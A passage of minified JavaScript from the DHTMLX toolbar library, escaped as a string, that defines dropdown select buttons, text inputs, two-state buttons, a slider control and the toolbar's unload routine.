dhxtoolbar_btn_def\";a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");a.callEvent=false};this.arw.onmouseover=this.obj.onmouseover;this.arw.onmouseout=this.obj.onmouseout;if(this.openAll==true){}else{this.obj.onclick=function(m){m=m||event;if(!a.obj.allowClick){return}if(!a.state){return}if(e.anyUsed!=\"none\"){return}var n=a.obj.idd.replace(e.idPrefix,\"\");if(a.obj.extAction){try{window[a.obj.extAction](n)}catch(m){}}e.callEvent(\"onClick\",[n])};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(m){m=m||event;if(e.anyUsed!=\"none\"){return}if(!a.state){return}a.obj.allowClick=true;a.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";a.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_pres\";a.callEvent=true};this.obj[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(m){m=m||event;m.cancelBubble=true;if(e.anyUsed!=\"none\"){return}if(!a.state){return}a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");if(window.dhx4.isIPad&&a.callEvent){var n=a.obj.idd.replace(e.idPrefix,\"\");e.callEvent(\"onClick\",[n])}}}if(window.dhx4.isIPad){this.obj.ontouchmove=this.obj.onmouseout}this.arw[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(o){o=o||event;var w=(this.className.indexOf(\"dhx_toolbar_arw\")===0?this:this.nextSibling);if(w._skip){o=o||event;o.cancelBubble=true}else{w._skip=true}w=null;if(!a.state){return}if(e.anyUsed==a.obj.idd){a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");e.anyUsed=\"none\";window.dhx4.zim.clear(a.polygon._idd);a.polygon.style.display=\"none\";if(a.polygon._ie6cover){a.polygon._ie6cover.style.display=\"none\"}if(e.conf.skin==\"dhx_terrace\"){e._improveTerraceButtonSelect(a.id,true)}}else{if(e.anyUsed!=\"none\"){if(e.objPull[e.idPrefix+e.anyUsed][\"type\"]==\"buttonSelect\"){var v=e.objPull[e.idPrefix+e.anyUsed];if(v.polygon.style.display!=\"none\"){v.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";v.obj.className=v.obj.renderAs;v.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");window.dhx4.zim.clear(v.polygon._idd);v.polygon.style.display=\"none\";if(v.polygon._ie6cover){v.polygon._ie6cover.style.display=\"none\"}if(e.conf.skin==\"dhx_terrace\"){e._improveTerraceButtonSelect(v.id,true)}}}}a.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";a.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_pres\";e.anyUsed=a.obj.idd;a.polygon.style.top=\"0px\";a.polygon.style.visibility=\"hidden\";a.polygon.style.zIndex=window.dhx4.zim.reserve(a.polygon._idd);a.polygon.style.display=\"\";if(e.conf.skin==\"dhx_terrace\"){e._improveTerraceButtonSelect(a.id,false)}a._fixMaxOpenHeight(a.maxOpen||null);e._autoDetectVisibleArea();var q=window.dhx4.absTop(a.obj)+a.obj.offsetHeight+e.conf.sel_ofs_y;var s=a.polygon.offsetHeight;if(q+s>e.tY2){var r=(a.maxOpen!=null?Math.floor((e.tY2-q)/22):0);if(r>=1){a._fixMaxOpenHeight(r)}else{q=window.dhx4.absTop(a.obj)-s-e.conf.sel_ofs_y;if(q<0){q=0}}}a.polygon.style.top=q+\"px\";if(e.rtl){a.polygon.style.left=window.dhx4.absLeft(a.obj)+a.obj.offsetWidth-a.polygon.offsetWidth+e.conf.sel_ofs_x+\"px\"}else{var n=document.body.scrollLeft;var m=n+(window.innerWidth||document.body.clientWidth);var u=window.dhx4.absLeft(a.obj)+e.conf.sel_ofs_x;if(u+a.polygon.offsetWidth>m){u=window.dhx4.absLeft(a.arw)+a.arw.offsetWidth-a.polygon.offsetWidth}a.polygon.style.left=Math.max(u,5)+\"px\"}a.polygon.style.visibility=\"visible\";if(a.polygon._ie6cover){a.polygon._ie6cover.style.left=a.polygon.style.left;a.polygon._ie6cover.style.top=a.polygon.style.top;a.polygon._ie6cover.style.width=a.polygon.offsetWidth+\"px\";a.polygon._ie6cover.style.height=a.polygon.offsetHeight+\"px\";a.polygon._ie6cover.style.display=\"\"}}return false};this.arw.onclick=function(m){m=m||event;m.cancelBubble=true};this.arw[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(m){m=m||event;m.cancelBubble=true};if(this.openAll===true){this.obj.onclick=this.arw.onclick;this.obj.onmousedown=this.arw.onmousedown;this.obj.onmouseup=this.arw.onmouseup;if(window.dhx4.isIPad){this.obj.ontouchstart=this.arw.ontouchstart;this.obj.ontouchend=this.arw.ontouchend}}this.obj.iddPrefix=e.idPrefix;this._listOptions={};this._fixMaxOpenHeight=function(r){var q=\"auto\";var o=false;if(r!==null){var n=0;for(var m in this._listOptions){n++}if(n>r){this._ph=22*r;q=this._ph+\"px\"}else{o=true}}this.polygon.style.width=\"auto\";this.polygon.style.height=\"auto\";if(!o&&a.maxOpen!=null){this.polygon.style.width=this.p_tbl.offsetWidth+e._sbw+\"px\";this.polygon.style.height=q}};this._separatorButtonSelectObject=function(o,m,n){this.obj={};this.obj.tr=document.createElement(\"TR\");this.obj.tr.className=\"tr_sep\";this.obj.tr.onselectstart=function(q){q=q||event;if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}return false};this.obj.td=document.createElement(\"TD\");this.obj.td.colSpan=\"2\";this.obj.td.className=\"td_btn_sep\";this.obj.td.onselectstart=function(q){q=q||event;if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}return false};if(isNaN(n)){n=a.p_tbody.childNodes.length+1}else{if(n<1){n=1}}if(n>a.p_tbody.childNodes.length){a.p_tbody.appendChild(this.obj.tr)}else{a.p_tbody.insertBefore(this.obj.tr,a.p_tbody.childNodes[n-1])}this.obj.tr.appendChild(this.obj.td);this.obj.sep=document.createElement(\"DIV\");this.obj.sep.className=\"btn_sep\";this.obj.sep.onselectstart=function(q){q=q||event;if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}return false};this.obj.td.appendChild(this.obj.sep);a._listOptions[o]=this.obj;return this};this._buttonButtonSelectObject=function(r,o,q){var n=true;if(typeof(o.enabled)!=\"undefined\"){n=window.dhx4.s2b(o.enabled)}else{if(typeof(o.disabled)!=\"undefined\"){n=window.dhx4.s2b(o.disabled)}}this.obj={};this.obj.tr=document.createElement(\"TR\");this.obj.tr.en=n;this.obj.tr.extAction=(o.action||null);this.obj.tr._selected=(o.selected!=null);this.obj.tr.className=\"tr_btn\"+(this.obj.tr.en?(this.obj.tr._selected&&a.renderSelect?\" tr_btn_selected\":\"\"):\" tr_btn_disabled\");this.obj.tr.onselectstart=function(s){s=s||event;if(s.preventDefault){s.preventDefault()}else{s.returnValue=false}return false};this.obj.tr.idd=String(r);if(isNaN(q)){q=a.p_tbody.childNodes.length+1}else{if(q<1){q=1}}if(q>a.p_tbody.childNodes.length){a.p_tbody.appendChild(this.obj.tr)}else{a.p_tbody.insertBefore(this.obj.tr,a.p_tbody.childNodes[q-1])}this.obj.td_a=document.createElement(\"TD\");this.obj.td_a.className=\"td_btn_img\";this.obj.td_a.onselectstart=function(s){s=s||event;if(s.preventDefault){s.preventDefault()}else{s.returnValue=false}return false};this.obj.td_b=document.createElement(\"TD\");this.obj.td_b.className=\"td_btn_txt\";this.obj.td_b.onselectstart=function(s){s=s||event;if(s.preventDefault){s.preventDefault()}else{s.returnValue=false}return false};if(e.rtl){this.obj.tr.appendChild(this.obj.td_b);this.obj.tr.appendChild(this.obj.td_a)}else{this.obj.tr.appendChild(this.obj.td_a);this.obj.tr.appendChild(this.obj.td_b)}if(o.img!=null){this.obj.td_a.innerHTML=\"<img class='btn_sel_img' src='\"+e.conf.icons_path+o.img+\"' border='0'>\";this.obj.tr._img=o.img}else{this.obj.td_a.innerHTML=\"&nbsp;\"}var m=(o.text!=null?o.text:(o.itemText||\"\"));this.obj.td_b.innerHTML=\"<div class='btn_sel_text'>\"+m+\"</div>\";this.obj.tr[window.dhx4.isIPad?\"ontouchstart\":\"onmouseover\"]=function(){if(!this.en||(this._selected&&a.renderSelect)){return}this.className=\"tr_btn tr_btn_over\"};this.obj.tr.onmouseout=function(){if(!this.en){return}if(this._selected&&a.renderSelect){if(String(this.className).search(\"tr_btn_selected\")==-1){this.className=\"tr_btn tr_btn_selected\"}}else{this.className=\"tr_btn\"}};this.obj.tr[window.dhx4.isIPad?\"ontouchend\":\"onclick\"]=function(s){s=s||event;s.cancelBubble=true;if(!this.en){return}a.setListOptionSelected(this.idd.replace(e.idPrefix,\"\"));a.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");window.dhx4.zim.clear(a.polygon._idd);a.polygon.style.display=\"none\";if(a.polygon._ie6cover){a.polygon._ie6cover.style.display=\"none\"}if(e.conf.skin==\"dhx_terrace\"){e._improveTerraceButtonSelect(a.id,true)}e.anyUsed=\"none\";var u=this.idd.replace(e.idPrefix,\"\");if(this.extAction){try{window[this.extAction](u)}catch(s){}}e.callEvent(\"onClick\",[u])};a._listOptions[r]=this.obj;return this};this.polygon=document.createElement(\"DIV\");this.polygon.dir=\"ltr\";this.polygon.style.display=\"none\";this.polygon.className=\"dhx_toolbar_poly_\"+e.conf.skin+\" dhxtoolbar_icons_\"+e.conf.iconSize;this.polygon.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}};this.polygon.onmousedown=function(m){m=m||event;m.cancelBubble=true};this.polygon.style.overflowY=\"auto\";this.polygon._idd=window.dhx4.newId();if(window.dhx4.isIPad){this.polygon.ontouchstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}m.cancelBubble=true;return false}}this.p_tbl=document.createElement(\"TABLE\");this.p_tbl.className=\"buttons_cont\";this.p_tbl.cellSpacing=\"0\";this.p_tbl.cellPadding=\"0\";this.p_tbl.border=\"0\";this.polygon.appendChild(this.p_tbl);this.p_tbody=document.createElement(\"TBODY\");this.p_tbl.appendChild(this.p_tbody);if(h.options!=null){for(var g=0;g<h.options.length;g++){var c=\"_\"+(h.options[g].type||\"\")+\"ButtonSelectObject\";if(h.options[g].id==null){h.options[g].id=e._genStr(24)}if(typeof(this[c])==\"function\"){new this[c](h.options[g].id,h.options[g])}}}document.body.appendChild(this.polygon);if(window.dhx4.isIE6){this.polygon._ie6cover=document.createElement(\"IFRAME\");this.polygon._ie6cover.frameBorder=0;this.polygon._ie6cover.style.position=\"absolute\";this.polygon._ie6cover.style.border=\"none\";this.polygon._ie6cover.style.backgroundColor=\"#000000\";this.polygon._ie6cover.style.filter=\"alpha(opacity=100)\";this.polygon._ie6cover.style.display=\"none\";this.polygon._ie6cover.setAttribute(\"src\",\"javascript:false;\");document.body.appendChild(this.polygon._ie6cover)}this.setWidth=function(m){this.obj.style.width=m-this.arw.offsetWidth+\"px\";this.polygon.style.width=this.obj.offsetWidth+this.arw.offsetWidth-2+\"px\";this.p_tbl.style.width=this.polygon.style.width};this.enableItem=function(){e._enableItem(this)};this.disableItem=function(){e._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\";this.arw.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\";this.arw.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setItemText=function(m){e._setItemText(this,m)};this.getItemText=function(){return e._getItemText(this)};this.setItemImage=function(m){e._setItemImage(this,m,true)};this.clearItemImage=function(){e._clearItemImage(this,true)};this.setItemImageDis=function(m){e._setItemImage(this,m,false)};this.clearItemImageDis=function(){e._clearItemImage(this,false)};this.setItemToolTip=function(m){this.obj.title=m;this.arw.title=m};this.getItemToolTip=function(){return this.obj.title};this.addListOption=function(s,r,o,q,m){if(!(o==\"button\"||o==\"separator\")){return}var n={id:s,type:o,text:q,img:m};new this[\"_\"+o+\"ButtonSelectObject\"](s,n,r)};this.removeListOption=function(o){if(!this._isListButton(o,true)){return}var m=this._listOptions[o];if(m.td_a!=null&&m.td_b!=null){m.td_a.onselectstart=null;m.td_b.onselectstart=null;while(m.td_a.childNodes.length>0){m.td_a.removeChild(m.td_a.childNodes[0])}while(m.td_b.childNodes.length>0){m.td_b.removeChild(m.td_b.childNodes[0])}m.tr.onselectstart=null;m.tr.onmouseover=null;m.tr.onmouseout=null;m.tr.onclick=null;while(m.tr.childNodes.length>0){m.tr.removeChild(m.tr.childNodes[0])}m.tr.parentNode.removeChild(m.tr);m.td_a=null;m.td_b=null;m.tr=null}else{m.sep.onselectstart=null;m.td.onselectstart=null;m.tr.onselectstart=null;while(m.td.childNodes.length>0){m.td.removeChild(m.td.childNodes[0])}while(m.tr.childNodes.length>0){m.tr.removeChild(m.tr.childNodes[0])}m.tr.parentNode.removeChild(m.tr);m.sep=null;m.td=null;m.tr=null}m=null;this._listOptions[o]=null;try{delete this._listOptions[o]}catch(n){}};this.showListOption=function(m){if(!this._isListButton(m,true)){return}this._listOptions[m].tr.style.display=\"\"};this.hideListOption=function(m){if(!this._isListButton(m,true)){return}this._listOptions[m].tr.style.display=\"none\"};this.isListOptionVisible=function(m){if(!this._isListButton(m,true)){return}return(this._listOptions[m].tr.style.display!=\"none\")};this.enableListOption=function(m){if(!this._isListButton(m)){return}this._listOptions[m].tr.en=true;this._listOptions[m].tr.className=\"tr_btn\"+(this._listOptions[m].tr._selected&&e.renderSelect?\" tr_btn_selected\":\"\")};this.disableListOption=function(m){if(!this._isListButton(m)){return}this._listOptions[m].tr.en=false;this._listOptions[m].tr.className=\"tr_btn tr_btn_disabled\"};this.isListOptionEnabled=function(m){if(!this._isListButton(m)){return}return this._listOptions[m].tr.en};this.setListOptionPosition=function(o,n){if(!this._listOptions[o]||this.getListOptionPosition(o)==n||isNaN(n)){return}if(n<1){n=1}var m=this._listOptions[o].tr;this.p_tbody.removeChild(m);if(n>this.p_tbody.childNodes.length){this.p_tbody.appendChild(m)}else{this.p_tbody.insertBefore(m,this.p_tbody.childNodes[n-1])}m=null};this.getListOptionPosition=function(o){var n=-1;if(!this._listOptions[o]){return n}for(var m=0;m<this.p_tbody.childNodes.length;m++){if(this.p_tbody.childNodes[m]==this._listOptions[o].tr){n=m+1}}return n};this.setListOptionImage=function(o,m){if(!this._isListButton(o)){return}var n=this._listOptions[o].tr.childNodes[(e.rtl?1:0)];n.innerHTML=\"<img src='\"+e.conf.icons_path+m+\"' class='btn_sel_img'>\";n=null};this.getListOptionImage=function(o){if(!this._isListButton(o)){return}var n=this._listOptions[o].tr.childNodes[(e.rtl?1:0)];var m=null;if(n.childNodes.length>0){m=n.childNodes[0].src}n=null;return m};this.clearListOptionImage=function(n){if(!this._isListButton(n)){return}var m=this._listOptions[n].tr.childNodes[(e.rtl?1:0)];while(m.childNodes.length>0){m.removeChild(m.childNodes[0])}m.innerHTML=\"&nbsp;\";m=null};this.setListOptionText=function(n,m){if(!this._isListButton(n)){return}this._listOptions[n].tr.childNodes[(e.rtl?0:1)].childNodes[0].innerHTML=m};this.getListOptionText=function(m){if(!this._isListButton(m)){return}return this._listOptions[m].tr.childNodes[(e.rtl?0:1)].childNodes[0].innerHTML};this.setListOptionToolTip=function(n,m){if(!this._isListButton(n)){return}this._listOptions[n].tr.title=m};this.getListOptionToolTip=function(m){if(!this._isListButton(m)){return}return this._listOptions[m].tr.title};this.forEachListOption=function(n){for(var m in this._listOptions){n(m)}};this.getAllListOptions=function(){var n=new Array();for(var m in this._listOptions){n[n.length]=m}return n};this.setListOptionSelected=function(o){for(var m in this._listOptions){var n=this._listOptions[m];if(n.td_a!=null&&n.td_b!=null&&n.tr.en){if(m==o){n.tr._selected=true;n.tr.className=\"tr_btn\"+(this.renderSelect?\" tr_btn_selected\":\"\");if(this.mode==\"select\"){if(n.tr._img){this.setItemImage(n.tr._img)}else{this.clearItemImage()}this.setItemText(this.getListOptionText(o))}}else{n.tr._selected=false;n.tr.className=\"tr_btn\"}}n=null}};this.getListOptionSelected=function(){var n=null;for(var m in this._listOptions){if(this._listOptions[m].tr._selected==true){n=m}}return n};this._isListButton=function(n,m){if(this._listOptions[n]==null){return false}if(!m&&this._listOptions[n].tr.className==\"tr_sep\"){return false}return true};this.setMaxOpen=function(m){this._ph=null;if(typeof(m)==\"number\"){this.maxOpen=m;this._maxOpenTest();return}this.maxOpen=null};if(h.width){this.setWidth(h.width)}if(this.mode==\"select\"&&typeof(h.selected)!=\"undefined\"){this.setListOptionSelected(h.selected)}return this};dhtmlXToolbarObject.prototype._buttonInputObject=function(e,h,g){this.id=e.idPrefix+h;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.obj.style.display=(g.hidden!=null?\"none\":\"\");this.obj.idd=String(h);this.obj.w=(g.width!=null?g.width:100);this.obj.title=(g.title!=null?g.title:\"\");this.obj.innerHTML=\"<input class='dhxtoolbar_input' type='text' style='width:\"+this.obj.w+\"px;'\"+(g.value!=null?\" value='\"+g.value+\"'\":\"\")+\">\";var c=e;var a=this;this.obj.childNodes[0].onkeydown=function(l){l=l||event;if(l.keyCode==13){c.callEvent(\"onEnter\",[a.obj.idd,this.value])}};e.base.appendChild(this.obj);this.enableItem=function(){this.obj.childNodes[0].disabled=false};this.disableItem=function(){this.obj.childNodes[0].disabled=true};this.isEnabled=function(){return(!this.obj.childNodes[0].disabled)};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display!=\"none\")};this.setValue=function(l){this.obj.childNodes[0].value=l};this.getValue=function(){return this.obj.childNodes[0].value};this.setWidth=function(l){this.obj.w=l;this.obj.childNodes[0].style.width=this.obj.w+\"px\"};this.getWidth=function(){return this.obj.w};this.setItemToolTip=function(l){this.obj.title=l};this.getItemToolTip=function(){return this.obj.title};this.getInput=function(){return this.obj.firstChild};if(typeof(g.enabled)!=\"undefined\"&&window.dhx4.s2b(g.enabled)==false){this.disableItem()}return this};dhtmlXToolbarObject.prototype._buttonTwoStateObject=function(a,g,c){this.id=a.idPrefix+g;this.state=(c.enabled!=null?false:true);this.imgEn=(c.img!=null?c.img:\"\");this.imgDis=(c.imgdis!=null?c.imgdis:\"\");this.img=(this.state?(this.imgEn!=\"\"?this.imgEn:\"\"):(this.imgDis!=\"\"?this.imgDis:\"\"));this.obj=document.createElement(\"DIV\");this.obj.pressed=(c.selected!=null);this.obj.extAction=(c.action||null);this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.obj.pressed?\"pres\"+(this.state?\"\":\"_dis\"):(this.state?\"def\":\"dis\"));this.obj.style.display=(c.hidden!=null?\"none\":\"\");this.obj.renderAs=this.obj.className;this.obj.idd=String(g);this.obj.title=(c.title||\"\");if(this.obj.pressed){this.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}this.obj.innerHTML=a._rtlParseBtn((this.img!=\"\"?\"<img src='\"+a.conf.icons_path+this.img+\"'>\":\"\"),(c.text!=null?\"<div class='dhxtoolbar_text'>\"+c.text+\"</div>\":\"\"));a.base.appendChild(this.obj);var e=this;this.obj.onselectstart=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}};this.obj.onmouseover=function(){this._doOnMouseOver()};this.obj.onmouseout=function(){this._doOnMouseOut()};this.obj._doOnMouseOver=function(){if(e.state==false){return}if(a.anyUsed!=\"none\"){return}if(this.pressed){this.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\";return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";this.renderAs=this.className};this.obj._doOnMouseOut=function(){if(e.state==false){return}if(a.anyUsed!=\"none\"){return}if(this.pressed){this.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.renderAs=this.className};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(h){if(a.checkEvent(\"onBeforeStateChange\")){if(!a.callEvent(\"onBeforeStateChange\",[this.idd.replace(a.idPrefix,\"\"),this.pressed])){return}}if(e.state==false){return}if(a.anyUsed!=\"none\"){return}this.pressed=!this.pressed;this.className=(this.pressed?\"dhx_toolbar_btn dhxtoolbar_btn_pres\":this.renderAs);var l=this.idd.replace(a.idPrefix,\"\");if(this.extAction){try{window[this.extAction](l,this.pressed)}catch(h){}}a.callEvent(\"onStateChange\",[l,this.pressed]);return false};this.setItemState=function(h,m){if(this.obj.pressed!=h){if(h==true){this.obj.pressed=true;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\"+(this.state?\"\":\"_dis\");this.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}else{this.obj.pressed=false;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.renderAs=this.obj.className}if(m==true){var n=this.obj.idd.replace(a.idPrefix,\"\");if(this.obj.extAction){try{window[this.obj.extAction](n,this.obj.pressed)}catch(l){}}a.callEvent(\"onStateChange\",[n,this.obj.pressed])}}};this.getItemState=function(){return this.obj.pressed};this.enableItem=function(){a._enableItem(this)};this.disableItem=function(){a._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setItemText=function(h){a._setItemText(this,h)};this.getItemText=function(){return a._getItemText(this)};this.setItemImage=function(h){a._setItemImage(this,h,true)};this.clearItemImage=function(){a._clearItemImage(this,true)};this.setItemImageDis=function(h){a._setItemImage(this,h,false)};this.clearItemImageDis=function(){a._clearItemImage(this,false)};this.setItemToolTip=function(h){this.obj.title=h};this.getItemToolTip=function(){return this.obj.title};return this};dhtmlXToolbarObject.prototype._sliderObject=function(g,l,h){this.id=g.idPrefix+l;this.state=(h.enabled!=null?(h.enabled==\"true\"?true:false):true);this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=(h.hidden!=null?\"none\":\"\");this.obj.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}};this.obj.idd=String(l);this.obj.len=(h.length!=null?Number(h.length):50);this.obj.innerHTML=\"<div class='dhxtoolbar_text'>\"+(h.textMin||\"\")+\"</div><div class='dhxtoolbar_sl_bg_l'></div><div class='dhxtoolbar_sl_bg_m' style='width:\"+this.obj.len+\"px;'></div><div class='dhxtoolbar_sl_bg_r'></div><div class='dhxtoolbar_text'>\"+(h.textMax||\"\")+\"</div>\";g.base.appendChild(this.obj);var a=this;this.pen=document.createElement(\"DIV\");this.pen.className=\"dhxtoolbar_sl_pen\";this.obj.appendChild(this.pen);var e=this.pen;this.label=document.createElement(\"DIV\");this.label.dir=\"ltr\";this.label.className=\"dhx_toolbar_slider_label_\"+g.conf.skin+(g.rtl?\"_rtl\":\"\");this.label.style.display=\"none\";this.label.tip=(h.toolTip||\"%v\");this.label._zi=window.dhx4.newId();document.body.appendChild(this.label);var c=this.label;this.pen.valueMin=(h.valueMin!=null?Number(h.valueMin):0);this.pen.valueMax=(h.valueMax!=null?Number(h.valueMax):100);if(this.pen.valueMin>this.pen.valueMax){this.pen.valueMin=this.pen.valueMax}this.pen.valueNow=(h.valueNow!=null?Number(h.valueNow):this.pen.valueMax);if(this.pen.valueNow>this.pen.valueMax){this.pen.valueNow=this.pen.valueMax}if(this.pen.valueNow<this.pen.valueMin){this.pen.valueNow=this.pen.valueMin}this.pen._detectLimits=function(){this.minX=a.obj.childNodes[1].offsetLeft+2;this.maxX=a.obj.childNodes[3].offsetLeft-this.offsetWidth+1};this.pen._detectLimits();this.pen._definePos=function(){this.nowX=Math.round((this.valueNow-this.valueMin)*(this.maxX-this.minX)/(this.valueMax-this.valueMin)+this.minX);this.style.left=this.nowX+\"px\";this.newNowX=this.nowX};this.pen._definePos();this.pen.initXY=0;this.pen.allowMove=false;this.pen[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(m){if(a.state==false){return}m=m||event;this.initXY=(window.dhx4.isIPad?m.touches[0].clientX:m.clientX);this.newValueNow=this.valueNow;this.allowMove=true;this.className=\"dhxtoolbar_sl_pen dhxtoolbar_over\";if(c.tip!=\"\"){c.style.visibility=\"hidden\";c.style.display=\"\";c.innerHTML=c.tip.replace(\"%v\",this.valueNow);c.style.left=Math.round(window.dhx4.absLeft(this)+this.offsetWidth/2-c.offsetWidth/2)+\"px\";c.style.top=window.dhx4.absTop(this)-c.offsetHeight-3+\"px\";c.style.visibility=\"\";c.style.zIndex=window.dhx4.zim.reserve(c._zi)}};this.pen._doOnMouseMoveStart=function(n){n=n||event;if(!e.allowMove){return}var m=(window.dhx4.isIPad?n.touches[0].clientX:n.clientX);var o=m-e.initXY;if(m<window.dhx4.absLeft(e)+Math.round(e.offsetWidth/2)&&e.nowX==e.minX){return}if(m>window.dhx4.absLeft(e)+Math.round(e.offsetWidth/2)&&e.nowX==e.maxX){return}e.newNowX=e.nowX+o;if(e.newNowX<e.minX){e.newNowX=e.minX}if(e.newNowX>e.maxX){e.newNowX=e.maxX}e.nowX=e.newNowX;e.style.left=e.nowX+\"px\";e.initXY=m;e.newValueNow=Math.round((e.valueMax-e.valueMin)*(e.newNowX-e.minX)/(e.maxX-e.minX)+e.valueMin);if(c.tip!=\"\"){c.innerHTML=c.tip.replace(/%v/gi,e.newValueNow);c.style.left=Math.round(window.dhx4.absLeft(e)+e.offsetWidth/2-c.offsetWidth/2)+\"px\";c.style.top=window.dhx4.absTop(e)-c.offsetHeight-3+\"px\"}n.cancelBubble=true;if(n.preventDefault){n.preventDefault()}else{n.returnValue=false}return false};this.pen._doOnMouseMoveEnd=function(){if(!e.allowMove){return}e.className=\"dhxtoolbar_sl_pen\";e.allowMove=false;e.nowX=e.newNowX;e.valueNow=e.newValueNow;if(c.tip!=\"\"){c.style.display=\"none\";window.dhx4.zim.clear(c._zi)}g.callEvent(\"onValueChange\",[a.obj.idd.replace(g.idPrefix,\"\"),e.valueNow])};if(window.dhx4.isIPad){document.addEventListener(\"touchmove\",e._doOnMouseMoveStart,false);document.addEventListener(\"touchend\",e._doOnMouseMoveEnd,false)}else{if(typeof(window.addEventListener)!=\"undefined\"){window.addEventListener(\"mousemove\",e._doOnMouseMoveStart,false);window.addEventListener(\"mouseup\",e._doOnMouseMoveEnd,false)}else{document.body.attachEvent(\"onmousemove\",e._doOnMouseMoveStart);document.body.attachEvent(\"onmouseup\",e._doOnMouseMoveEnd)}}this.enableItem=function(){if(this.state){return}this.state=true;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\"};this.disableItem=function(){if(!this.state){return}this.state=false;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_dis\"};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setValue=function(m,n){m=Number(m);if(m<this.pen.valueMin){m=this.pen.valueMin}if(m>this.pen.valueMax){m=this.pen.valueMax}this.pen.valueNow=m;this.pen._definePos();if(n==true){g.callEvent(\"onValueChange\",[this.obj.idd.replace(g.idPrefix,\"\"),this.pen.valueNow])}};this.getValue=function(){return this.pen.valueNow};this.setMinValue=function(n,m){n=Number(n);if(n>this.pen.valueMax){return}this.obj.childNodes[0].innerHTML=m;this.obj.childNodes[0].style.display=(m.length>0?\"\":\"none\");this.pen.valueMin=n;if(this.pen.valueNow<this.pen.valueMin){this.pen.valueNow=this.pen.valueMin}this.pen._detectLimits();this.pen._definePos()};this.setMaxValue=function(n,m){n=Number(n);if(n<this.pen.valueMin){return}this.obj.childNodes[4].innerHTML=m;this.obj.childNodes[4].style.display=(m.length>0?\"\":\"none\");this.pen.valueMax=n;if(this.pen.valueNow>this.pen.valueMax){this.pen.valueNow=this.pen.valueMax}this.pen._detectLimits();this.pen._definePos()};this.getMinValue=function(){var m=this.obj.childNodes[0].innerHTML;var n=this.pen.valueMin;return new Array(n,m)};this.getMaxValue=function(){var m=this.obj.childNodes[4].innerHTML;var n=this.pen.valueMax;return new Array(n,m)};this.setItemToolTipTemplate=function(m){this.label.tip=m};this.getItemToolTipTemplate=function(){return this.label.tip};return this};dhtmlXToolbarObject.prototype.unload=function(){if(this.conf.isIPad){document.removeEventListener(\"touchstart\",this._doOnClick,false)}else{if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousedown\",this._doOnClick,false)}else{document.body.detachEvent(\"onmousedown\",this._doOnClick)}}this._doOnClick=null;this.clearAll();this.objPull=null;if(this._xmlLoader){this._xmlLoader.destructor();this._xmlLoader=null}while(this.base.childNodes.length>0){this.base.removeChild(this.base.childNodes[0])}this.cont.removeChild(this.base);this.base=null;while(this.cont.childNodes.length>0){this.cont.removeChild(this.cont.childNodes[0])}this.cont.className=\"\";this.cont=null;window.dhx4._enableDataLoading(this,null,null,null,\"clear\");window.dhx4._eventable(this,\"clear\");this.tX1=null;this.tX2=null;this.tY1=null;this.tY2=null;this.anyUsed=null;this.idPrefix=null;this.rootTypes=null;this._rtl=null;this._rtlParseBtn=null;this.setRTL=null;this._sbw=null;this._getObj=null;this._addImgObj=null;this._setItemImage=null;this._clearItemImage=null;this._setItemText=null;this._getItemText=null;this._enableItem=null;this._disableItem=null;this._xmlParser=null;this._addItemToStorage=null;this._genStr=null;this._addItem=n